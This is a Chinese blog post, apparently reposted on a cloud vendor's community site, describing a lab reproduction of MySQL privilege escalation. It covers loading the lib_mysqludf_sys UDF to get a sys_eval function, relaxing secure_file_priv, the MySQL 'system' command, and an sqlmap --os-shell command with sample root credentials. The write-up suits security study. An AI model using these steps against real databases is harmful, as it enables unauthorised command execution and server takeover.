mysql的提权

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第一种:参考文献:https://www.cnblogs.com/zhuyp1015/p/3561470.
mysql的提权原理就是让mysql能够执行系统命令,

而对与mysql的提权主要分为两种:MOF提权和UDF提权

第一种:

参考文献:

https://www.cnblogs.com/zhuyp1015/p/3561470.html

https://www.cnblogs.com/mmx8861/p/9062363.html

https://www.cnblogs.com/ghc666/p/8609067.html

https://www.jianshu.com/p/83855733c749

http://vinc.top/2017/04/19/mysql-udf提权linux平台/

https://blog.csdn.net/qq_28921653/article/details/54174341

1实验环境:

ubuntu 18.04tl

首相需要安装mysql,在ubuntu上按装挺简单的的,只需要几个命令就ok了,顺便记一下mysql的密码修改。

sudo apt-get update

sudo apt-get install mysql-server

apt-get install mysql-client

sudo apt-get install libmysqlclient-dev

myslq

set password for root@localhost = password('密码'); 

现在mysql就安装成功了,接下来就是关于mysql的提权问题

若mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

若mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\

这里我用的是ubuntu进行复现的,mysql版本>5.2

下载lib_mysqludf_sys程序

github:https://github.com/mysqludf/lib_mysqludf_sys

编译获取lib_mysqludf_sys.so文件

$ gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果出现缺少文件的报错

$ sudo apt-get install libmysql++-dev

网上说的可以直接在linux里下载,但是在实验中,缺出现了不知名的错误,我才用的是在windows 里下载解压,然后在传上去

先查看需要插入的路径

mysql> show variables like '%plugin%';

将下载的lib_mysqludf_sys.so文件以16进制写入到plugin_dir路径中,但是ubuntu有一个安全路径,只能写到那个里面,要是调用的话只能是在plugin这个路径下调用,所以直接复制粘贴进去了

mysql> select unhex('7F454C************此处省略n个字9*****') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';

(详情请见https://www.jianshu.com/p/83855733c749)

此时出现一个问题:

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

经查询后发现,mysql 默认对导出的目录有权限限制,也就是说使用命令行进行导出的时候,需要指定目录进行操作,

https://blog.csdn.net/u011677147/article/details/64129606

https://blog.csdn.net/HHTNAN/article/details/78520511

我们执行

show global variables like '%secure%';

发现

secure_file_priv这个参数用来限制数据导入和导出操作的效果

如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

而我们查看ubuntu的/usr/lib,发现没有该文件,也就是文件为空,所以我们要修改这个值,这也就意味这在mysql 版本为5.7.6 版本后,若管理员未设置该值时,我们就不能进行导入和导出操作。若是挖洞碰见这个了,目前以我的水平估计就到此位置了。

有位大佬是这样解决这个问题的,当然我按照这个没有解决,由于这一步的原理就是将那个lib_mysqludf_sys.so重命名写入/usr.lib/mysql/plugin 路径下的,我就直接将文件粘贴过去了

secure_file_priv

  1、限制mysqld 不允许导入 | 导出

    mysqld –secure_file_prive=null

  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

    mysqld –secure_file_priv=/tmp/

  3、不对mysqld 的导入 | 导出做限制

cat /etc/my.cnf

    [mysqld]

    secure_file_priv 

当然了,现在修改这个参数

修改/etc/mysql/mysql.conf.d/mysqld.cnf文件

在末尾添加一句secure_file_priv=即可将数据导出到任意目录

执行第二步

创建需要用的函数

mysql> create function sys_eval returns string soname 'mysqludf.so';

调用函数

mysql> select sys_eval('whoami');

删除函数

mysql> drop function sys_eval;

查看当前用户权限:select * from mysql.user where user=substring_index(user(),'@',1);

@@version_compile_os展示MySQL结构,@@ version_compile_machine展示操作系统的结构:select @@version_compile_os, @@version_compile_machine;

限制条件:

1)mysql root账号弱口令

2)mysql启动账户需要有插件目录的写入权限,例如yum安装的mysql

[root@template tmp]# ls -ald /usr/lib64/mysql/plugin

drwxr-xr-x. 2 root root 4096 4月 25 08:33 /usr/lib64/mysql/plugin

而mysql的默认启动账户是mysql,是没有写入权限的。

第二种方法:

另外MySQL 5.x中增加了system命令,可以直接执行系统命令。

mysql> system whoami;

第三种方法:

(1)sqlmap通过root的账号和密码连接上远程的数据库

(2)sqlmap将udf文件夹下对应系统平台的64位或者32位的动态链接库文件上传到远程数据库的mysql/plugin/目录下

(3)sqlmap用过已经上传的动态链接库文件来调用system函数来执行用户输入的命令

root@kali:~# sqlmap -d "mysql://root:Hehe123456@192.168.192.120:3306/test" --os-shell

剩下的就是输入命令了

第四种:

MOF提权

暂时不会,相关链接:http://www.cnblogs.com/R4v3n/articles/9025499.html

日后会跟新

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
11月前
|
SQL 存储 安全
MySQL提权总结(建议收藏)
MySQL提权总结(建议收藏)
247 0
|
8月前
|
关系型数据库 MySQL Linux
4.1 MySQL获取webshell及提权基础
4.1 MySQL获取webshell及提权基础
163 0
|
关系型数据库 MySQL 数据库
mysql 提权
UDF提权是利用MySQL的自定义函数功能,将MySQL账号转化为系统system权限 下载lib_mysqludf_sys程序 github:https://github.
1166 0
|
SQL 存储 关系型数据库
mysql udf提权
mysql udf提权 本次测试环境 win2008 R2 Enterprise phpstudy2018 运行的版本是:php-5.4.45 + apache mysql版本:
485 0
|
SQL 安全 关系型数据库
[WEB安全]MySQl提权 mof、udf过程详解(下)
[WEB安全]MySQl提权 mof、udf过程详解
354 0
[WEB安全]MySQl提权 mof、udf过程详解(下)
|
SQL 监控 安全
[WEB安全]MySQl提权 mof、udf过程详解(上)
[WEB安全]MySQl提权 mof、udf过程详解
283 0
[WEB安全]MySQl提权 mof、udf过程详解(上)
|
关系型数据库 MySQL Shell
|
关系型数据库 MySQL 数据安全/隐私保护